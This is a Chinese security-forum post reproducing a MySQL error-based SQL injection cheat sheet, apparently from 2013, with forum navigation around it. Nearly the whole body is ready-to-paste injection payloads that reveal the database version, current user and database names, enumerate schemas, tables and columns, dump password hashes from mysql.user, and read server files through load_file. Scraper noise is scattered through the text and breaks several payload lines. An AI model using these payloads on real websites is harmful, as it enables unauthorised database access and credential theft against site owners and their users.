找回密码
 立即注册
查看: 2494|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
" a! l. c  i: E9 V2 W- j8 A# A+ t" `2 i% S, r1 X* p
" l* k: T% G4 ]7 r
Mysql暴错注入参考(pdf),每天一贴。。。
+ H% q; |- H" h) ~9 b+ f* M2 @% A. @/ k3 s
MySql Error Based Injection Reference7 i7 t* i; ]+ q) d# O8 ?* d$ ~
[Mysql暴错注入参考]  ^( V+ `5 i" A" m( i+ l5 w
Authornig0s1992& b7 R- r7 @+ C$ A* t
Blog:http://pnig0s1992.blog.51cto.com/* p* V. P( b# A1 b6 ]% }; z! ~1 J
TeAm:http://www.FreeBuf.com/
. M& h+ O: W+ P5 |% ]8 E3 ~( JMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功$ \9 _! C! d2 e# L! a
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
5 ^" Q3 h0 z5 j" x( n查询版本:
, K9 M' O4 p5 T: w( a; ^2 |6 ~  bMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+! f2 f8 p4 n0 X" n
join+(select+name_const(@@version,0))b)c)  v) [1 B& e  N* T: x0 I1 s8 P
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro! D) y9 O: [9 V% H8 l( _6 q  B
up by a)b)
/ e5 ?- }0 j/ t1 _  `' l查询当前用户:# ?$ }" h9 ?; O+ `' H4 e$ Z$ I% q7 L
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c). w' G; F+ w. a& u  A$ T
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r+ f% U% e5 ~2 s
and(0)*2))x+from+information_schema.tables+group+by+x)a)( r: Y' i# b2 A
查询当前数据库:1 P! e7 h( G/ |7 G" R
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)' p1 x4 y. Z  V2 x" U* d
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
% p  X6 F$ Z; ?+ |( o) N  Q! Por(rand(0)*2))x+from+information_schema.tables+group+by+x)a); u% c- Y  I4 X% f
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
1 |7 i( ^7 q; d' K6 `/ ]3 qLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n; g4 q! ^! y7 w* p
顺序替换* Y+ |, ]* s5 n8 M/ k; b
爆指定库数目:
! Z& o7 @  D* m- d7 A) sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
/ x% U" j/ e) w2 G# W( {able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group; e& E( y2 G. h- Q- v) m! K4 J9 Y
+by+x)a)+and+1=1 0x6D7973716C=mysql; K  G( U0 |/ @( e& \
依次爆表:* @; z1 j$ C! @1 _1 T# F' x2 W
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
( Y! a5 W: c/ P; X8 Lable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta0 L- Y1 f6 k# E; z3 @" g
bles+group+by+x)a)+and+1=1, n9 q6 R% o; v3 O" S
0x6D7973716C=Mysql 将n顺序替换$ i7 D: M+ Q* e' i9 ^9 [$ |3 n
爆表内字段数目:6 ?% \) O. H2 e8 H! m& V
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE4 E/ J& ^; {; F- l4 L/ N
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
9 `# ]  d+ J0 B/ N3 r8 D( Z0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
# _1 G% T: q# C依次爆字段:: a3 p) E& h6 [% \
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where3 t2 Z' `' Y  t# V  A8 @5 y& ]& y
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,17 o; s, E) }; n, t. U. ^: y: X8 G
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
2 p: }3 @8 n9 g. r2 ^! c8 [1 i1 Z依次暴内容:
- |( J+ T; W2 s+ @0 F& S- F2 [and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche1 a, R" d! p. a7 b
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
6 a- L, y6 ?, [% K9 y; N' Y将n顺序替换" M' g# k! Z/ ^# G8 ~
爆文件内容:4 U' S  q' v% ?
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
# e  O& X9 q" c2 f0 B0 Ufrom+information_schema.tables+group+by+a)b)
8 R* [) H! G+ ~! M+ p0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节. ~# Z1 k( X. q
Thx for reading.6 l$ E9 X1 z7 n$ g4 V( w

8 ]$ N' w2 Z' n) B不要下载也可以, * K2 V3 c/ t, B2 v3 E6 W/ T, A! w

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表